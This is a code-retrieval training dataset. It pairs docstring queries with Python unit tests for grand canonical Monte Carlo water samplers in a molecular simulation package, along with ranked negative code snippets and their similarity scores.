"def setup_GCMCSystemSampler():\n # Make variables global so that they can be used\n global gcmc_system_sampler\n global gcmc_system_simulation\n\n pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'water-ghosts.pdb')))\n ff = ForceField('tip3p.xml')\n system = ff.createSystem(pdb.topology, ... | [
"0.7308907",
"0.6762758",
"0.6539486",
"0.6444159",
"0.6409054",
"0.6210909",
"0.6188153",
"0.6183125",
"0.60796523",
"0.6073801",
"0.6063694",
"0.60533386",
"0.5910438",
"0.59057194",
"0.5897044",
"0.58700055",
"0.583869",
"0.58104205",
"0.57944477",
"0.5793852",
"0.57618254... | 0.75966007 | 0 |
Set up variables for the StandardGCMCSystemSampler | def setup_NonequilibriumGCMCSystemSampler():
# Make variables global so that they can be used
global neq_gcmc_system_sampler
global neq_gcmc_system_simulation
pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'water-ghosts.pdb')))
ff = ForceField('tip3p.xml')
system = ff.createSystem(pdb.... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_StandardGCMCSystemSampler():\n # Make variables global so that they can be used\n global std_gcmc_system_sampler\n global std_gcmc_system_simulation\n\n pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'water-ghosts.pdb')))\n ff = ForceField('tip3p.xml')\n system = ff.createSyste... | [
"0.75958276",
"0.73061603",
"0.67612386",
"0.6536989",
"0.64055324",
"0.62102795",
"0.6185804",
"0.6184276",
"0.6078398",
"0.6073744",
"0.6061834",
"0.60537785",
"0.5909346",
"0.590625",
"0.5896071",
"0.5869167",
"0.5839259",
"0.58082545",
"0.57943165",
"0.5792727",
"0.576159... | 0.64428854 | 4 |
Get things ready to run these tests | def setUpClass(cls):
# Make the output directory if needed
if not os.path.isdir(os.path.join(os.path.dirname(__file__), 'output')):
os.mkdir(os.path.join(os.path.dirname(__file__), 'output'))
# Create a new directory if needed
if not os.path.isdir(outdir):
os.mkdi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup(self):\n # Have to wait for a server connection before we\n # can run the test\n self.wait_for_server_connections(10)",
"def tests():",
"def test_generate_all_testing(self):\n pass",
"def setup( self ):",
"def setUp(self):\n self.setup_beets()",
"def test_01_I... | [
"0.74245423",
"0.7288928",
"0.709723",
"0.703299",
"0.7032221",
"0.7013128",
"0.7003242",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6980169",
"0.6921708",
"0... | 0.0 | -1 |
Make sure the GrandCanonicalMonteCarloSampler.move() method works correctly | def test_move(self):
# Shouldn't be able to run a move with this sampler
self.assertRaises(NotImplementedError, lambda: base_gcmc_sampler.move(base_gcmc_simulation.context))
return None | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_move(self):\n neq_gcmc_sphere_sampler.reset()\n\n # Just run one move, as they are a bit more expensive\n neq_gcmc_sphere_sampler.move(neq_gcmc_sphere_simulation.context, 1)\n\n # Check some of the variables have been updated as appropriate\n assert neq_gcmc_sphere_sampl... | [
"0.6885951",
"0.68591535",
"0.68517685",
"0.6720708",
"0.6701315",
"0.65315986",
"0.6527951",
"0.6363933",
"0.62256527",
"0.61666775",
"0.6062729",
"0.6047407",
"0.60417",
"0.6026306",
"0.60233027",
"0.5932626",
"0.59017557",
"0.59000623",
"0.5898178",
"0.5897844",
"0.5895698... | 0.68518084 | 2 |
Make sure the BaseGrandCanonicalMonteCarloSampler.report() method works correctly | def test_report(self):
# Delete some ghost waters so they can be written out
ghosts = [3054, 3055, 3056, 3057, 3058]
base_gcmc_sampler.deleteGhostWaters(ghostResids=ghosts)
# Report
base_gcmc_sampler.report(base_gcmc_simulation)
# Check the output to the ghost file
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_BaseGrandCanonicalMonteCarloSampler():\n # Make variables global so that they can be used\n global base_gcmc_sampler\n global base_gcmc_simulation\n\n pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'bpti-ghosts.pdb')))\n ff = ForceField('amber14-all.xml', 'amber14/tip3p.xml')\n ... | [
"0.60594994",
"0.59317505",
"0.5849876",
"0.5799352",
"0.5692029",
"0.5680979",
"0.5674313",
"0.565859",
"0.5623557",
"0.56207806",
"0.5571885",
"0.5550829",
"0.55436575",
"0.5542487",
"0.5538711",
"0.5514227",
"0.5509748",
"0.5472215",
"0.5460395",
"0.54585546",
"0.5419002",... | 0.5809674 | 3 |
Make sure the BaseGrandCanonicalMonteCarloSampler.reset() method works correctly | def test_reset(self):
# Set tracked variables to some non-zero values
base_gcmc_sampler.n_accepted = 1
base_gcmc_sampler.n_moves = 1
base_gcmc_sampler.Ns = [1]
# Reset base_gcmc_sampler
base_gcmc_sampler.reset()
# Check that the values have been reset
as... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reset(self):\n self.st = segment_tree.SegmentTreeSampler(self.n, np.ones(self.n) * self.reg, self.random_state)",
"def setup_BaseGrandCanonicalMonteCarloSampler():\n # Make variables global so that they can be used\n global base_gcmc_sampler\n global base_gcmc_simulation\n\n pdb = PDBFile(... | [
"0.7006503",
"0.6610244",
"0.6507081",
"0.64523005",
"0.6371905",
"0.6332127",
"0.6324144",
"0.63123316",
"0.6293652",
"0.624985",
"0.624754",
"0.62317836",
"0.62037873",
"0.62037873",
"0.62037873",
"0.61578816",
"0.6154015",
"0.6154015",
"0.61478823",
"0.6144965",
"0.6130272... | 0.69381005 | 1 |
Get things ready to run these tests | def setUpClass(cls):
# Make the output directory if needed
if not os.path.isdir(os.path.join(os.path.dirname(__file__), 'output')):
os.mkdir(os.path.join(os.path.dirname(__file__), 'output'))
# Create a new directory if needed
if not os.path.isdir(outdir):
os.mkdi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup(self):\n # Have to wait for a server connection before we\n # can run the test\n self.wait_for_server_connections(10)",
"def tests():",
"def test_generate_all_testing(self):\n pass",
"def setup( self ):",
"def setUp(self):\n self.setup_beets()",
"def test_01_I... | [
"0.74245423",
"0.7288928",
"0.709723",
"0.703299",
"0.7032221",
"0.7013128",
"0.7003242",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6980169",
"0.6921708",
"0... | 0.0 | -1 |
Make sure the GCMCSphereSampler.initialise() method works correctly | def test_initialise(self):
# Make sure the variables are all updated
assert isinstance(gcmc_sphere_sampler.context, Context)
assert isinstance(gcmc_sphere_sampler.positions, Quantity)
assert isinstance(gcmc_sphere_sampler.sphere_centre, Quantity)
return None | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_GCMCSphereSampler():\n # Make variables global so that they can be used\n global gcmc_sphere_sampler\n global gcmc_sphere_simulation\n\n pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'bpti-ghosts.pdb')))\n ff = ForceField('amber14-all.xml', 'amber14/tip3p.xml')\n system = ff.c... | [
"0.7482102",
"0.7452458",
"0.6748668",
"0.66379297",
"0.6630921",
"0.6568337",
"0.64469874",
"0.6387264",
"0.635185",
"0.6235221",
"0.61284995",
"0.6078793",
"0.6022753",
"0.59546596",
"0.59303445",
"0.5924565",
"0.59102744",
"0.5876836",
"0.5857518",
"0.5837153",
"0.5790307"... | 0.72542685 | 2 |
Make sure the GCMCSphereSampler.deleteWatersInGCMCSphere() method works correctly | def test_deleteWatersInGCMCSphere(self):
# Now delete the waters in the sphere
gcmc_sphere_sampler.deleteWatersInGCMCSphere()
new_ghosts = gcmc_sphere_sampler.getWaterStatusResids(0)
# Check that the list of ghosts is correct
assert new_ghosts == [70, 71, 3054, 3055, 3056, 3057, ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_updateGCMCSphere(self):\n # Get initial gcmc_resids and status\n gcmc_waters = deepcopy(gcmc_sphere_sampler.getWaterStatusResids(1))\n sphere_centre = deepcopy(gcmc_sphere_sampler.sphere_centre)\n N = gcmc_sphere_sampler.N\n\n # Update the GCMC sphere (shouldn't change a... | [
"0.63944376",
"0.62567043",
"0.59877086",
"0.5870835",
"0.5841204",
"0.5656549",
"0.55353993",
"0.5513171",
"0.5488697",
"0.5458763",
"0.5458092",
"0.5409319",
"0.53839445",
"0.537687",
"0.53426343",
"0.5312269",
"0.5309804",
"0.5300502",
"0.5300502",
"0.5294281",
"0.52817607... | 0.81623113 | 0 |
Make sure the GCMCSphereSampler.updateGCMCSphere() method works correctly | def test_updateGCMCSphere(self):
# Get initial gcmc_resids and status
gcmc_waters = deepcopy(gcmc_sphere_sampler.getWaterStatusResids(1))
sphere_centre = deepcopy(gcmc_sphere_sampler.sphere_centre)
N = gcmc_sphere_sampler.N
# Update the GCMC sphere (shouldn't change as the syste... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_GCMCSphereSampler():\n # Make variables global so that they can be used\n global gcmc_sphere_sampler\n global gcmc_sphere_simulation\n\n pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'bpti-ghosts.pdb')))\n ff = ForceField('amber14-all.xml', 'amber14/tip3p.xml')\n system = ff.c... | [
"0.6867336",
"0.6694733",
"0.6372616",
"0.6199202",
"0.54769635",
"0.537066",
"0.5282511",
"0.52227336",
"0.5180439",
"0.5173947",
"0.51617426",
"0.51477826",
"0.5090878",
"0.5084552",
"0.50375485",
"0.50262225",
"0.49550423",
"0.49523485",
"0.4936377",
"0.49238035",
"0.48899... | 0.79535794 | 0 |
Make sure the GCMCSphereSampler.move() method works correctly | def test_move(self):
# Shouldn't be able to run a move with this sampler
self.assertRaises(NotImplementedError, lambda: gcmc_sphere_sampler.move(gcmc_sphere_simulation.context))
return None | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_move(self):\n neq_gcmc_sphere_sampler.reset()\n\n # Just run one move, as they are a bit more expensive\n neq_gcmc_sphere_sampler.move(neq_gcmc_sphere_simulation.context, 1)\n\n # Check some of the variables have been updated as appropriate\n assert neq_gcmc_sphere_sampl... | [
"0.7312604",
"0.6786061",
"0.66649306",
"0.65060794",
"0.64089835",
"0.62293303",
"0.6205869",
"0.61197466",
"0.58118314",
"0.5800113",
"0.5773424",
"0.5737712",
"0.5735148",
"0.5719306",
"0.57125866",
"0.56983864",
"0.567811",
"0.56488407",
"0.56414455",
"0.5633706",
"0.5608... | 0.71798897 | 1 |
Make sure the GCMCSphereSampler.insertRandomWater() method works correctly | def test_insertRandomWater(self):
# Insert a random water
new_positions, wat_id, atom_ids = gcmc_sphere_sampler.insertRandomWater()
# Check that the indices returned are integers - may not be type int
assert wat_id == int(wat_id)
assert all([i == int(i) for i in atom_ids])
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_insertRandomWater(self):\n # Insert a random water\n new_positions, wat_id, atom_ids = gcmc_system_sampler.insertRandomWater()\n\n # Check that the indices returned are integers - may not be type int\n assert wat_id == int(wat_id)\n assert all([i == int(i) for i in atom_... | [
"0.72090286",
"0.6620027",
"0.63753724",
"0.63195544",
"0.5973471",
"0.5952739",
"0.5840426",
"0.5759416",
"0.5701698",
"0.5691748",
"0.567196",
"0.5536785",
"0.5514029",
"0.5480719",
"0.5478959",
"0.54229546",
"0.53605586",
"0.5359001",
"0.53506374",
"0.53441834",
"0.5324880... | 0.73840714 | 0 |
Make sure the GCMCSphereSampler.deleteRandomWater() method works correctly | def test_deleteRandomWater(self):
# Insert a random water
delete_water, atom_indices = gcmc_sphere_sampler.deleteRandomWater()
# Check that the indices returned are integers
assert delete_water == int(delete_water)
assert all([i == int(i) for i in atom_indices])
return ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_deleteRandomWater(self):\n # Insert a random water\n delete_water, atom_ids = gcmc_system_sampler.deleteRandomWater()\n\n # Check that the indices returned are integers\n assert delete_water == int(delete_water)\n assert all([i == int(i) for i in atom_ids])\n\n re... | [
"0.76301825",
"0.7191139",
"0.59051096",
"0.57779187",
"0.5739509",
"0.56568503",
"0.5618967",
"0.5591656",
"0.5591656",
"0.5516601",
"0.5448119",
"0.5411559",
"0.5407415",
"0.53482056",
"0.53217196",
"0.5315446",
"0.530809",
"0.5303515",
"0.5301117",
"0.5250197",
"0.5238719"... | 0.78150624 | 0 |
Get things ready to run these tests | def setUpClass(cls):
# Make the output directory if needed
if not os.path.isdir(os.path.join(os.path.dirname(__file__), 'output')):
os.mkdir(os.path.join(os.path.dirname(__file__), 'output'))
# Create a new directory if needed
if not os.path.isdir(outdir):
os.mkdi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup(self):\n # Have to wait for a server connection before we\n # can run the test\n self.wait_for_server_connections(10)",
"def tests():",
"def test_generate_all_testing(self):\n pass",
"def setup( self ):",
"def setUp(self):\n self.setup_beets()",
"def test_01_I... | [
"0.7422651",
"0.7287236",
"0.70962775",
"0.70318127",
"0.70313793",
"0.7012452",
"0.7001971",
"0.6994604",
"0.6994604",
"0.6994604",
"0.6994604",
"0.6994604",
"0.6994604",
"0.6994604",
"0.6994604",
"0.6994604",
"0.6994604",
"0.6994604",
"0.6994604",
"0.69789433",
"0.6920525",... | 0.0 | -1 |
Make sure the StandardGCMCSphereSampler.move() method works correctly | def test_move(self):
# Run a handful of GCMC moves
n_moves = 10
std_gcmc_sphere_sampler.move(std_gcmc_sphere_simulation.context, n_moves)
# Check that all of the appropriate variables seem to have been updated
# Hard to test individual moves as they are rarely accepted - just ne... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_move(self):\n neq_gcmc_sphere_sampler.reset()\n\n # Just run one move, as they are a bit more expensive\n neq_gcmc_sphere_sampler.move(neq_gcmc_sphere_simulation.context, 1)\n\n # Check some of the variables have been updated as appropriate\n assert neq_gcmc_sphere_sampl... | [
"0.72049004",
"0.7142516",
"0.66742307",
"0.64757967",
"0.63471234",
"0.62169033",
"0.6189794",
"0.6142323",
"0.5829866",
"0.5796106",
"0.57257146",
"0.5686311",
"0.5682403",
"0.56603277",
"0.5642538",
"0.5639076",
"0.56338567",
"0.560922",
"0.5587057",
"0.55868924",
"0.55843... | 0.67660964 | 2 |
Get things ready to run these tests | def setUpClass(cls):
# Make the output directory if needed
if not os.path.isdir(os.path.join(os.path.dirname(__file__), 'output')):
os.mkdir(os.path.join(os.path.dirname(__file__), 'output'))
# Create a new directory if needed
if not os.path.isdir(outdir):
os.mkdi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup(self):\n # Have to wait for a server connection before we\n # can run the test\n self.wait_for_server_connections(10)",
"def tests():",
"def test_generate_all_testing(self):\n pass",
"def setup( self ):",
"def setUp(self):\n self.setup_beets()",
"def test_01_I... | [
"0.74245423",
"0.7288928",
"0.709723",
"0.703299",
"0.7032221",
"0.7013128",
"0.7003242",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6980169",
"0.6921708",
"0... | 0.0 | -1 |
Make sure the NonequilibriumGCMCSphereSampler.move() method works correctly | def test_move(self):
neq_gcmc_sphere_sampler.reset()
# Just run one move, as they are a bit more expensive
neq_gcmc_sphere_sampler.move(neq_gcmc_sphere_simulation.context, 1)
# Check some of the variables have been updated as appropriate
assert neq_gcmc_sphere_sampler.n_moves =... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_move(self):\n # Shouldn't be able to run a move with this sampler\n self.assertRaises(NotImplementedError, lambda: gcmc_sphere_sampler.move(gcmc_sphere_simulation.context))\n\n return None",
"def test_move(self):\n # Run a handful of GCMC moves\n n_moves = 10\n ... | [
"0.74134445",
"0.71293914",
"0.69717276",
"0.6844426",
"0.6774158",
"0.65357774",
"0.6450368",
"0.63212657",
"0.61129725",
"0.59394455",
"0.59110534",
"0.58613527",
"0.57763714",
"0.5770376",
"0.5766818",
"0.5765549",
"0.5754707",
"0.5747235",
"0.56879604",
"0.5626373",
"0.55... | 0.7558569 | 0 |
Make sure the NonequilibriumGCMCSphereSampler.insertionMove() method works correctly | def test_insertionMove(self):
# Prep for a move
# Read in positions
neq_gcmc_sphere_sampler.context = neq_gcmc_sphere_simulation.context
state = neq_gcmc_sphere_sampler.context.getState(getPositions=True, enforcePeriodicBox=True, getVelocities=True)
neq_gcmc_sphere_sampler.positi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_move(self):\n neq_gcmc_sphere_sampler.reset()\n\n # Just run one move, as they are a bit more expensive\n neq_gcmc_sphere_sampler.move(neq_gcmc_sphere_simulation.context, 1)\n\n # Check some of the variables have been updated as appropriate\n assert neq_gcmc_sphere_sampl... | [
"0.7209169",
"0.71998745",
"0.7198035",
"0.69792235",
"0.68337613",
"0.6774714",
"0.6697102",
"0.6559923",
"0.6445582",
"0.6215921",
"0.6078141",
"0.5641775",
"0.5602461",
"0.55762756",
"0.5568384",
"0.5548173",
"0.5492333",
"0.5485724",
"0.5446329",
"0.54125756",
"0.53864336... | 0.7701173 | 0 |
Make sure the NonequilibriumGCMCSphereSampler.deletionMove() method works correctly | def test_deletionMove(self):
# Prep for a move
# Read in positions
neq_gcmc_sphere_sampler.context = neq_gcmc_sphere_simulation.context
state = neq_gcmc_sphere_sampler.context.getState(getPositions=True, enforcePeriodicBox=True, getVelocities=True)
neq_gcmc_sphere_sampler.positio... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_deletionMove(self):\n # Prep for a move\n # Read in positions\n neq_gcmc_system_sampler.context = neq_gcmc_system_simulation.context\n state = neq_gcmc_system_sampler.context.getState(getPositions=True, enforcePeriodicBox=True, getVelocities=True)\n neq_gcmc_system_sampl... | [
"0.7485762",
"0.6438369",
"0.6428132",
"0.62262905",
"0.6145327",
"0.6085681",
"0.6073769",
"0.60079294",
"0.60004663",
"0.5970122",
"0.5940385",
"0.5844463",
"0.57683086",
"0.5733593",
"0.57244855",
"0.5646963",
"0.56085235",
"0.5596272",
"0.55913806",
"0.5586423",
"0.558213... | 0.7886815 | 0 |
Get things ready to run these tests | def setUpClass(cls):
# Make the output directory if needed
if not os.path.isdir(os.path.join(os.path.dirname(__file__), 'output')):
os.mkdir(os.path.join(os.path.dirname(__file__), 'output'))
# Create a new directory if needed
if not os.path.isdir(outdir):
os.mkdi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup(self):\n # Have to wait for a server connection before we\n # can run the test\n self.wait_for_server_connections(10)",
"def tests():",
"def test_generate_all_testing(self):\n pass",
"def setup( self ):",
"def setUp(self):\n self.setup_beets()",
"def test_01_I... | [
"0.74245423",
"0.7288928",
"0.709723",
"0.703299",
"0.7032221",
"0.7013128",
"0.7003242",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6980169",
"0.6921708",
"0... | 0.0 | -1 |
Make sure the GCMCSystemSampler.initialise() method works correctly | def test_initialise(self):
# Make sure the variables are all updated
assert isinstance(gcmc_system_sampler.context, Context)
assert isinstance(gcmc_system_sampler.positions, Quantity)
assert isinstance(gcmc_system_sampler.simulation_box, Quantity)
return None | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_GCMCSystemSampler():\n # Make variables global so that they can be used\n global gcmc_system_sampler\n global gcmc_system_simulation\n\n pdb = PDBFile(utils.get_data_file(os.path.join('tests', 'water-ghosts.pdb')))\n ff = ForceField('tip3p.xml')\n system = ff.createSystem(pdb.topology, ... | [
"0.7476611",
"0.7406292",
"0.6950565",
"0.67265517",
"0.66819036",
"0.65851617",
"0.6512759",
"0.63053226",
"0.62894577",
"0.6267865",
"0.6263761",
"0.6206305",
"0.61907214",
"0.61907214",
"0.61907214",
"0.61799055",
"0.6173661",
"0.6127892",
"0.6094525",
"0.6079967",
"0.6033... | 0.70493156 | 2 |
Make sure the GCMCSystemSampler.move() method works correctly | def test_move(self):
# Shouldn't be able to run a move with this sampler
self.assertRaises(NotImplementedError, lambda: gcmc_system_sampler.move(gcmc_system_simulation.context))
return None | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_move(self):\n neq_gcmc_system_sampler.reset()\n\n # Just run one move, as they are a bit more expensive\n neq_gcmc_system_sampler.move(neq_gcmc_system_simulation.context, 1)\n\n # Check some of the variables have been updated as appropriate\n assert neq_gcmc_system_sampl... | [
"0.69886005",
"0.6938794",
"0.6935821",
"0.6869701",
"0.67401326",
"0.67089957",
"0.6217315",
"0.6078865",
"0.6038649",
"0.5992114",
"0.5985543",
"0.59831053",
"0.5977594",
"0.5931836",
"0.5905786",
"0.5886545",
"0.5886054",
"0.5833608",
"0.57884306",
"0.5736834",
"0.57317823... | 0.7292309 | 0 |
Make sure the GCMCSystemSampler.insertRandomWater() method works correctly | def test_insertRandomWater(self):
# Insert a random water
new_positions, wat_id, atom_ids = gcmc_system_sampler.insertRandomWater()
# Check that the indices returned are integers - may not be type int
assert wat_id == int(wat_id)
assert all([i == int(i) for i in atom_ids])
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_insertRandomWater(self):\n # Insert a random water\n new_positions, wat_id, atom_ids = gcmc_sphere_sampler.insertRandomWater()\n\n # Check that the indices returned are integers - may not be type int\n assert wat_id == int(wat_id)\n assert all([i == int(i) for i in atom_... | [
"0.6928528",
"0.6385021",
"0.61273587",
"0.60822636",
"0.60734993",
"0.60668766",
"0.57946825",
"0.5652783",
"0.54904884",
"0.5488012",
"0.54828304",
"0.54828304",
"0.5407029",
"0.5398256",
"0.5383638",
"0.5353736",
"0.5327705",
"0.53053445",
"0.52523714",
"0.5250405",
"0.524... | 0.72111976 | 0 |
Make sure the GCMCSystemSampler.deleteRandomWater() method works correctly | def test_deleteRandomWater(self):
# Insert a random water
delete_water, atom_ids = gcmc_system_sampler.deleteRandomWater()
# Check that the indices returned are integers
assert delete_water == int(delete_water)
assert all([i == int(i) for i in atom_ids])
return None | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_deleteRandomWater(self):\n # Insert a random water\n delete_water, atom_indices = gcmc_sphere_sampler.deleteRandomWater()\n\n # Check that the indices returned are integers\n assert delete_water == int(delete_water)\n assert all([i == int(i) for i in atom_indices])\n\n ... | [
"0.7379795",
"0.6214693",
"0.5664468",
"0.56013966",
"0.5546722",
"0.5495053",
"0.5435395",
"0.53826165",
"0.53622735",
"0.532345",
"0.52940685",
"0.52940685",
"0.52836555",
"0.5280242",
"0.5273561",
"0.5255017",
"0.5244421",
"0.5212148",
"0.5208511",
"0.52065897",
"0.5205397... | 0.7646268 | 0 |
Get things ready to run these tests | def setUpClass(cls):
# Make the output directory if needed
if not os.path.isdir(os.path.join(os.path.dirname(__file__), 'output')):
os.mkdir(os.path.join(os.path.dirname(__file__), 'output'))
# Create a new directory if needed
if not os.path.isdir(outdir):
os.mkdi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup(self):\n # Have to wait for a server connection before we\n # can run the test\n self.wait_for_server_connections(10)",
"def tests():",
"def test_generate_all_testing(self):\n pass",
"def setup( self ):",
"def setUp(self):\n self.setup_beets()",
"def test_01_I... | [
"0.74245423",
"0.7288928",
"0.709723",
"0.703299",
"0.7032221",
"0.7013128",
"0.7003242",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6980169",
"0.6921708",
"0... | 0.0 | -1 |
Make sure the StandardGCMCSystemSampler.move() method works correctly | def test_move(self):
# Run a handful of GCMC moves
n_moves = 10
std_gcmc_system_sampler.move(std_gcmc_system_simulation.context, n_moves)
# Check that all of the appropriate variables seem to have been updated
# Hard to test individual moves as they are rarely accepted - just ne... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_move(self):\n # Shouldn't be able to run a move with this sampler\n self.assertRaises(NotImplementedError, lambda: gcmc_system_sampler.move(gcmc_system_simulation.context))\n\n return None",
"def test_move(self):\n neq_gcmc_system_sampler.reset()\n\n # Just run one mov... | [
"0.7181574",
"0.6826627",
"0.6822562",
"0.6745499",
"0.6640983",
"0.65411764",
"0.6038776",
"0.59790057",
"0.5942716",
"0.5918189",
"0.5876411",
"0.5870334",
"0.58546937",
"0.58221716",
"0.572842",
"0.5687787",
"0.56451154",
"0.5627452",
"0.55952823",
"0.5567614",
"0.55563265... | 0.6848373 | 1 |
Get things ready to run these tests | def setUpClass(cls):
# Make the output directory if needed
if not os.path.isdir(os.path.join(os.path.dirname(__file__), 'output')):
os.mkdir(os.path.join(os.path.dirname(__file__), 'output'))
# Create a new directory if needed
if not os.path.isdir(outdir):
os.mkdi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup(self):\n # Have to wait for a server connection before we\n # can run the test\n self.wait_for_server_connections(10)",
"def tests():",
"def test_generate_all_testing(self):\n pass",
"def setup( self ):",
"def setUp(self):\n self.setup_beets()",
"def test_01_I... | [
"0.74245423",
"0.7288928",
"0.709723",
"0.703299",
"0.7032221",
"0.7013128",
"0.7003242",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6995902",
"0.6980169",
"0.6921708",
"0... | 0.0 | -1 |
Make sure the NonequilibriumGCMCSystemSampler.move() method works correctly | def test_move(self):
neq_gcmc_system_sampler.reset()
# Just run one move, as they are a bit more expensive
neq_gcmc_system_sampler.move(neq_gcmc_system_simulation.context, 1)
# Check some of the variables have been updated as appropriate
assert neq_gcmc_system_sampler.n_moves =... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_move(self):\n # Shouldn't be able to run a move with this sampler\n self.assertRaises(NotImplementedError, lambda: gcmc_system_sampler.move(gcmc_system_simulation.context))\n\n return None",
"def test_move(self):\n # Run a handful of GCMC moves\n n_moves = 10\n ... | [
"0.769783",
"0.74639684",
"0.7438356",
"0.7360609",
"0.73240685",
"0.72791535",
"0.6381922",
"0.6381247",
"0.63642156",
"0.635932",
"0.6350762",
"0.6348595",
"0.63146937",
"0.6295221",
"0.62767977",
"0.6261591",
"0.6196394",
"0.61194867",
"0.61188483",
"0.6117917",
"0.6047609... | 0.7515609 | 1 |
Make sure the NonequilibriumGCMCSystemSampler.insertionMove() method works correctly | def test_insertionMove(self):
# Prep for a move
# Read in positions
neq_gcmc_system_sampler.context = neq_gcmc_system_simulation.context
state = neq_gcmc_system_sampler.context.getState(getPositions=True, enforcePeriodicBox=True, getVelocities=True)
neq_gcmc_system_sampler.positi... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_insertionMove(self):\n # Prep for a move\n # Read in positions\n neq_gcmc_sphere_sampler.context = neq_gcmc_sphere_simulation.context\n state = neq_gcmc_sphere_sampler.context.getState(getPositions=True, enforcePeriodicBox=True, getVelocities=True)\n neq_gcmc_sphere_samp... | [
"0.77547926",
"0.72145873",
"0.7090594",
"0.70797455",
"0.6963121",
"0.6911819",
"0.6842811",
"0.66163623",
"0.64768654",
"0.63967305",
"0.62777495",
"0.6137192",
"0.5995998",
"0.59360576",
"0.59151226",
"0.5828478",
"0.5789905",
"0.5759315",
"0.5706526",
"0.567753",
"0.56455... | 0.7858803 | 0 |
Make sure the NonequilibriumGCMCSystemSampler.deletionMove() method works correctly | def test_deletionMove(self):
# Prep for a move
# Read in positions
neq_gcmc_system_sampler.context = neq_gcmc_system_simulation.context
state = neq_gcmc_system_sampler.context.getState(getPositions=True, enforcePeriodicBox=True, getVelocities=True)
neq_gcmc_system_sampler.positio... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_deletionMove(self):\n # Prep for a move\n # Read in positions\n neq_gcmc_sphere_sampler.context = neq_gcmc_sphere_simulation.context\n state = neq_gcmc_sphere_sampler.context.getState(getPositions=True, enforcePeriodicBox=True, getVelocities=True)\n neq_gcmc_sphere_sampl... | [
"0.7867403",
"0.6501173",
"0.6406832",
"0.63714015",
"0.62150633",
"0.6205262",
"0.61711025",
"0.6090827",
"0.60874534",
"0.6077852",
"0.60104895",
"0.59488875",
"0.5947629",
